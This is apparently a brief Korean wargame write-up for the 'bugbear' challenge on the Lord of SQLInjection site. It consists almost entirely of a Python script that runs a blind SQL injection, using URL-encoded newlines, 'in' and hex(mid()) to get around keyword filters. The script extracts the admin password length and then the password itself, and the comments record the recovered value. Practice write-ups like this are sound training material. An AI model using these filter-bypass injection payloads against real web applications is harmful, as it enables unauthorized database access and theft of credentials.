첫 화면이다.
파이썬 코드를 짜면 아래와 같다.
import requests
URL = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no='
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello admin'
def query(payload):
cookies = {'PHPSESSID': PHPSESSID}
r = requests.get(URL + payload, cookies=cookies)
content = r.text
return TRUE_PHRASE in content
# 8
def find_pw_length():
pw_len = 1
while query('0%0a||%0aid%0ain("admin")%0a%26%26%0alength(pw)%0ain({})'.format(pw_len)) is False:
pw_len += 1
print('pw_len: {}'.format(pw_len))
return pw_len
# 52dc3991
def find_pw():
pw_len = find_pw_length()
pw = ''
for pos in range(1, pw_len + 1):
for character in range(0, 128):
if query('0%0a||%0aid%0ain("admin")%0a%26%26%0ahex(mid(pw,{},1))%0ain(hex({}))'.format(pos, character)) is True:
pw += chr(character)
break
print('pw: {}'.format(pw))
find_pw()
